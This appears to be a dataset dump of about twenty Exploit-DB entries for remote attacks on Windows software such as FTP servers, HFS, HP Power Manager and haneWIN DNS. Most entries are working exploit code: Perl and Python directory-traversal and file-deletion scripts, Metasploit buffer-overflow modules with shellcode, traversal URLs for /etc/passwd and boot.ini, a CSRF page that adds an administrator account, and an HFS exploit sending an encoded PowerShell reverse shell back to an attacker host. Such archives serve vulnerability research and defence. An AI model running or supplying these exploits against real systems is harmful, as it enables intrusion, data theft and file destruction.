deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8200
Description: GuildFTPd FTP Server 0.999.14 - Remote Delete Files
Type: remote
Platform: windows
Date: 2009-03-10
Author: Jonathan Salwan

Exploit:
#!/usr/bin/perl
# Exploit: GuildFTPd FTP Server Version 0.x.x Remote Delete Files
#
# More detail for the vulnerability => http://secunia.com/advisories/32218/
# 
# 2) A vulnerability is caused due to an input validation error when handling FTP "DELE" 
# requests. This can be exploited to escape the FTP root and delete arbitrary files on 
# the system via directory traversal attacks using the "\.." character sequence.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: Guild FTP Server V0.x.x\n";
print "[+] Exploit: Remote Delete File\n";

	if (@ARGV < 5)
		{
 		print "[*] Usage: <guildftp.pl> <host> <port> <login> <password> <file>\n";
 		print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan salwan ..\\\\test.txt\n";
 		exit;
		}

	$ip = $ARGV[0];
	$port = $ARGV[1];
	$user = $ARGV[2];
	$pass = $ARGV[3];
	$file = $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";

	print $socket "USER $user\n";
	print $socket "PASS $pass\n";
	print $socket "DELE $file\n";

		sleep(5);
		close($socket);

print "[+]Done!\n";

# milw0rm.com [2009-03-10]
Exploit-DB #23758
Description: GWeb HTTP Server 0.5/0.6 - Directory Traversal
Type: remote
Platform: windows
Date: 2004-02-24
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9742/info

It has been reported that GWeb is prone to a directory traversal vulnerability. The issue is due to the server's failure to properly validate user supplied http requests.

This issue may allow an attacker to escape the web server root directory and view any web server readable files. Information acquired by exploiting this issue may be used to aid further attacks against a vulnerable system.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23758.zip
Exploit-DB #10269
Description: Haihaisoft Universal Player 1.4.8.0 - 'URL' Property ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 2009-12-01
Author: shinnai

Exploit:
Haihaisoft Universal Player is prone to an unspecified buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successful exploits allow remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions.

Haihaisoft Universal Player 1.4.8.0 is vulnerable; other versions may also be affected.

Bugtraq ID: 37151
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Nov 30 2009 12:00AM
Updated: Dec 01 2009 01:15AM
Credit: shinnai
Vulnerable: Haihaisoft Haihaisoft Universal Player 1.4.8 0

<object classid='clsid:1A01FF01-EA62-4702-B837-1E07158145FA' id='test'></object>

<script language='vbscript'>

buff = String(3540, "A")

test.URL = "http://" + buff

</script>
Exploit-DB #23198
Description: Half-Life 1.1 - Invalid Command Error Response Format String
Type: remote
Platform: windows
Date: 2003-09-29
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/8730/info

It has been reported that Half-Life clients may be prone to a format string vulnerability. The problem occurs when an invalid command is issued to the server, and an error response is returned and displayed by the client. If a format specifier were included within the invalid command, when displaying the error the format specifier would be interperted literally. This could potentially be exploited by a remote attacker to execute arbitrary code with the privileges of the Half-Life client. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23198.zip
Exploit-DB #6686
Description: Hammer Software MetaGauge 1.0.0.17 - Directory Traversal
Type: remote
Platform: windows
Date: 2008-10-06
Author: Brad Antoniewicz

Exploit:
Title: MetaGauge 1.0.0.17 Directory Traversal

-------------------------------------------------------------

Vendor: Hammer Software

Vendor URL: www.Hammer-Software.com

Vendor Response: Vendor has been notified and has since addressed the issue in the latest software release.

Description:

A directory traversal vulnerability exists in MetaGauge version 1.0.0.17 (and potentially below) which allows a remote user to view files local to the target server. 

Example:

C:\> nc targethost 2004
GET /..\..\..\..\..\..\winnt\win.ini HTTP/1.1


Patch Information:

Hammer has addressed the issue in the latest version of MetaGauge:

http://dl.hammer-software.com/metagauge.zip

CVE:  CVE-2008-4421

Credit:

Brad Antoniewicz

brad.antoniewicz@foundstone.com

# milw0rm.com [2008-10-06]
Exploit-DB #38910
Description: Hancom Office - '.hml' File Processing Heap Buffer Overflow
Type: remote
Platform: windows
Date: 2013-12-19
Author: diroverflow

Exploit:
source: https://www.securityfocus.com/bid/64499/info

Hancom Office is prone to a remote heap-based buffer-overflow vulnerability.

An attacker can exploit this issue by enticing an unsuspecting victim to open a malicious '.hml' document file.

Successful exploits will result in the execution of arbitrary code in the context of the affected application. Failed exploit attempts may result in a denial-of-service condition.

Hancom Office 2010 SE 8.5.8 is vulnerable; Other versions may also be affected. 

<TEXTART Text="AAAAAAAA...(more than 500 bytes)" X0="0" X1="14173" X2="14173" X3="0" Y0="0" Y1="0" Y2="14173" Y3="14173">
Exploit-DB #23532
Description: Hand-Crafted Software FreeProxy 3.5/3.6 - FreeWeb Directory Traversal
Type: remote
Platform: windows
Date: 2004-01-09
Author: badpack3t

Exploit:
source: https://www.securityfocus.com/bid/9388/info

It has been reported that FreeWeb server of FreeProxy may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory. The issue may allow a remote attacker to traverse outside the server root directory by using '../' character sequences. 

FreeProxy versions 3.6 and prior are reported to be prone to this issue.

http://www.example.com/../../../../boot.ini%00.html
Exploit-DB #42723
Description: haneWIN DNS Server 1.5.3 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-14
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'haneWIN DNS Server Buffer Overflow',
			'Description'	=> %q{
				This module exploits a buffer overflow vulnerability found in
				haneWIN DNS Server <= 1.5.3. The vulnerability is triggered
				by sending an overly long packet to the victim server. A memcpy
				function blindly copies user supplied data to a fixed size buffer
				leading to remote code execution. 

				This module was tested against haneWIN DNS 1.5.3
			},
			'Author' => [ 'james fitts' ],
			'License' => MSF_LICENSE,
			'References' =>
				[
					[ 'EDB', '31260' ],
					[ 'OSVDB', '102773' ]
				],
			'Privileged'  => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload' =>
				{
					'Space'	=> 1000,
					'DisableNops' => true,
					'BadChars' => "\x00\x0a\x0d\x20",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'Platform' => 'win',
			'DefaultTarget'	=> 0,
			'Targets' =>
				[
					[
						'Windows 2000 SP4 EN / haneWIN DNS 1.5.3',
						{
							# msvcrt.dll v6.10.9844.0
							# pop esi/ pop edi/ retn
							'Ret' => 0x78010394,
						}
					]
				],
			'DisclosureDate' => 'Jul 27 2013'))

			register_options([Opt::RPORT(53)], self.class)
	end

	def exploit
		connect

		p = make_nops(32) + payload.encoded

		buf = Rex::Text.pattern_create(5000)
		buf[0, 2] = [0x4e20].pack('n')							# length for malloc
		buf[1332, p.length] = p
		buf[2324, 8] = generate_seh_record(target.ret)
		buf[2332, 15] = make_nops(10) + "\xe9\x13\xfc\xff\xff"	# jmp $-1000 

		print_status("Sending malicious request...")
		sock.put(buf)
		disconnect

	end
end
Exploit-DB #23603
Description: herberlin bremsserver 1.2.4/3.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2004-01-26
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9493/info

Herberlin BremsServer is prone to a directory-traversal vulnerability. An attacker may exploit this issue to gain access to files residing outside the web server root directory of the affected system. This issue exists due to a failure to validate user specified URI input.

BremsServer 3.0 is vulnerable; other versions may also be affected.

# --PoC--

import socket

host = 'localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)    

s.send('GET /' + '../' * 16 + 'windows/win.ini HTTP/1.1\r\n'
       'Host: localhost\r\n\r\n')

print s.recv(8192)
Exploit-DB #14412
Description: Hero DVD - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-19
Author: Madjix

Exploit:
##################################################################
#                                           _                    #
#               .-----.--.--.--.----.----.-| |___                #
#               |  _  |  |  |  |     |  -__|  _  |               #
#               |   __|________|__|__|_____|_____|               #
#               |__|        By MadjiX                            #
#                          Sec4ever.com                          #
##################################################################
# Note: Use Backtrack! place httpd.conf in /etc/apache2/ and start apache 
# Have Someone Connect to your Server /sploit
# Credit goes to chap0 for the nice bug!

require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
  
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
  
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Hero DVD Remote Buffer Overflow Exploit',
            'Description' => %q{
                This module exploits a stack overflow in 3.0.8 MoreAmp Beta
            By creating a specially crafted .conf file, an an attacker may be able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' => 
		[
			'MadjiX <Dz8@HotmaiL[DoT]CoM>',
			'chap0'	#Discovered by chap0
		],
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', 'N/A' ],
                    [ 'Exploit-DB', 'http://www.exploit-db.com/exploits/14257/' ],
		    [ 'Corelan', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-056' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 750,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3', { 'Ret' => 0x58324879} ], # 0x58324879 from msg723.acm  
                ],
            'Privileged' => false,
            'DisclosureDate'  => '19-07-2010',
            'DefaultTarget' => 0))
  
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.conf']),
            ], self.class)
    end
  
  
    def exploit
  
        sploit = "Redirect permanent /sploit http://"
        sploit << rand_text_alphanumeric(128)
        sploit << [target.ret].pack('V')
        sploit << "B" * 24
        sploit << payload.encoded
  
        maffile = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(maffile)
  
    end
  
end
Exploit-DB #14257
Description: Hero DVD Remote 1.0 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-07-07
Author: chap0

Exploit:
# Exploit Title : Hero DVD Remote Buffer Overflow Exploit
# Date          : July 7, 2010
# Author        : chap0 [www.seek-truth.net]
# Software Link : http://download.cnet.com/Hero-DVD-Player/3000-7970_4-10127412.html
# Version       : 3.0.8
# OS            : Windows XP SP3 
# Greetz to     : God the Creator, Sud0 (Thanks Bro for the Support)
# The Crew	: http://www.corelan.be:8800/index.php/security/corelan-team-members/
# Advisory	: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-056
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.
# Code :
print "|------------------------------------------------------------------|\n";
print "|                         __               __                      |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[*] Hero DVD Player Remote Exploit by chap0.\n"; 
print "[*] Visit Corelan.be port 8800, Preparing Payload . . .\n";
sleep(3);

my $file = "httpd.conf";

$code = "Redirect permanent /sploit http://";
$junk = "A" x 128;
$more = "yH2X" ; # alpha value for "yH2X" = 0x58324879 from msg723.acm
$nops = "\x42" x 24; #Padding
#message box code
$shell = "TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIN9JKMK9IRTWTL401N2OB2ZVQXISTLKBQ6PLKRVDLLKT65LLKPF5XLKSNWPLKWFWH0OUHRUL3PYEQ8QKOKQSPLKRLGT7TLKQUGLLK645URX5QKZLKQZ28LKPZQ0EQZKKSVW79LKGDLKEQJNVQKOP1IPKLNLK4O03DUZO1HOTM5QYWKYJQKOKOKO7K3LVD18D59NLKPZVDS1JKU6LKTLPKLK1J5L5QZKLK34LKUQKXMYQTWT5L3QHCNRTHGYN4K9KUMYIRE8LNPNTNZLPRKXMLKOKOKOMYPE5TOKSNYHKRBSMW5L14QBKXLKKOKOKOMYQUS83XBLBLGPKOSX6SP2FNE4SXRUT33U3BLHQL14UZLIJFPVKO65TDLIO20POKOXORPMOLMWEL7TPRKX1NKOKOKO3XSBSUD7V8E8BLSQRNW3U8QSRO2RCUVQ9KMXQLWT4KMYM3U82TU8687PSXWPQDRRD5RH0SRESUBK6Q9YLHPL145ZLIM1VQN2F2PSV1PRKOHPP1O060KO0UUXTJA";

open(FILE,">$file");
print FILE $code.$junk.$more.$nops.$shell;
close(FILE);

print "[*] Use Backtrack! place httpd.conf in /etc/apache2/ and start apache.\n";
print "[*] Have Someone Connect to your Server /sploit.\n";
Exploit-DB #16785
Description: Hewlett-Packard (HP) Power Manager Administration - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: hp_power_manager_login.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Hewlett-Packard Power Manager Administration Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Hewlett-Packard Power Manager 4.2.
				Sending a specially crafted POST request with an overly long Login string, an
				attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11127 $',
			'References'     =>
				[
					[ 'CVE', '2009-2685' ],
					[ 'OSVDB', '59684'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 650,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ], # pop/pop/ret in msvcp60.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 4 2009'))

		register_options( [ Opt::RPORT(80) ], self.class )
	end

	def exploit

		sploit = rand_text_alpha_upper(2024)

		sploit[633,2] = Rex::Arch::X86.jmp_short(24)
		sploit[635,4] = [target.ret].pack('V')
		sploit[639,32] = make_nops(32)
		sploit[671,payload.encoded.length] = payload.encoded

		data = "HtmlOnly=true&Login=" + sploit + "+passwd&[CREDENTIAL_REDACTED]=Submit+Login"

		req =  "POST /goform/formLogin HTTP/1.1\r\n"
		req << "Host: #{rhost}:#{rport}\r\n"
		req << "Content-Length: #{data.length}" + "\r\n\r\n" + data + "\r\n\r\n"

		connect

		print_status("Trying target #{target.name}...")
		sock.put(req)

		select(nil,nil,nil,5)
		handler
		disconnect
	end

end
Exploit-DB #49584
Description: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
Type: remote
Platform: windows
Date: 2021-02-23
Author: Pergyz

Exploit:
# Exploit Title: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
# Google Dork: intext:"httpfileserver 2.3"
# Date: 20/02/2021
# Exploit Author: Pergyz
# Vendor Homepage: http://www.rejetto.com/hfs/
# Software Link: https://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Microsoft Windows Server 2012 R2 Standard
# CVE : CVE-2014-6287
# Reference: https://www.rejetto.com/wiki/index.php/HFS:_scripting_commands

#!/usr/bin/python3

import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.10.1"
lport = 1111
rhost = "10.10.10.8"
rport = 80

# Define the command to be written to a file
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# Encode the command in base64 format
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("\nEncoded the command in base64 format...")

# Define the payload to be included in the URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# Encode the payload and send a HTTP GET request
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("\nEncoded the payload and sent a HTTP GET request to the target...")

# Print some information
print("\nPrinting some information for debugging...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# Listen for connections
print("\nListening for connection...")
os.system(f'nc -nlvp {lport}')
Exploit-DB #29281
Description: Hilgraeve HyperAccess 8.4 - Multiple Remote Command Execution Vulnerabilities
Type: remote
Platform: windows
Date: 2006-12-14
Author: Brett Moore

Exploit:
source: https://www.securityfocus.com/bid/21594/info

Hilgraeve HyperACCESS is prone to multiple remote command-execution vulnerabilities. 

Attackers can exploit these issues to execute arbitrary application commands with the privileges of the affected application. A successful exploit could result in the compromise of affected computers.

Version 8.4 is vulnerable to these issues; prior versions may also be vulnerable.

telnet://IPADDRESS:PORT # /r \\SERVER\share\scriptfile.txt
Exploit-DB #20628
Description: his software auktion 1.62 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-02-12
Author: cuctema

Exploit:
source: https://www.securityfocus.com/bid/2367/info

A remote user could gain read access to known files outside of the root directory where HIS Software Auktion 1.62 resides. Requesting a specially crafted URL composed of '../' sequences along with the known filename will disclose the requested file. This vulnerability could also lead to the execution of arbitrary code. 

http://target/cgi-bin/auktion.pl menue=../../../../../../../../../../../../../bin/pwd

http://target/cgi-bin/auktion.pl menue=../../../../../../../../../../../../../etc/passwd
Exploit-DB #10162
Description: Home FTP Server - 'MKD' Directory Traversal
Type: remote
Platform: windows
Date: 2009-11-17
Author: zhangmc

Exploit:
#!/usr/bin/python
import socket
import sys

def Usage():
    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
        Usage()
        sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    sock.send("MKD ../A\r\n")
    sock.close()
    sys.exit(0);
Exploit-DB #34047
Description: Home FTP Server 1.10.3 (build 144) - Cross-Site Request Forgery
Type: remote
Platform: windows
Date: 2010-05-26
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/40405/info

Home FTP Server is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

Home FTP Server 1.10.3 (build 144) is vulnerable; other versions may be affected. 

<html> <body> <img src="http://www.example.com/?addnewmember=new_user&pass=Password1&home=c:\&allowdownload=on&allowupload=on&allowrename=on&allowdeletefile=on&allowchangedir=on&allowcreatedir=on&allowdeletedir=on&virtualdir=&filecontrol=" /> </body> </html>
Exploit-DB #16259
Description: Home FTP Server 1.12 - Directory Traversal
Type: remote
Platform: windows
Date: 2011-02-28
Author: clshack

Exploit:
# Exploit Title:Home FTP SERVER 1.12 Directory Traversal
# Date:28/2/2011
# Author: clshack
# Software Link:http://downstairs.dnsalias.net/homeftpserver.html
# Version:1.12
# Tested on: windows xp sp3 en
# CVE :

Send:

RETR ../../../../boot.ini

or other...

Twitter:clshackblog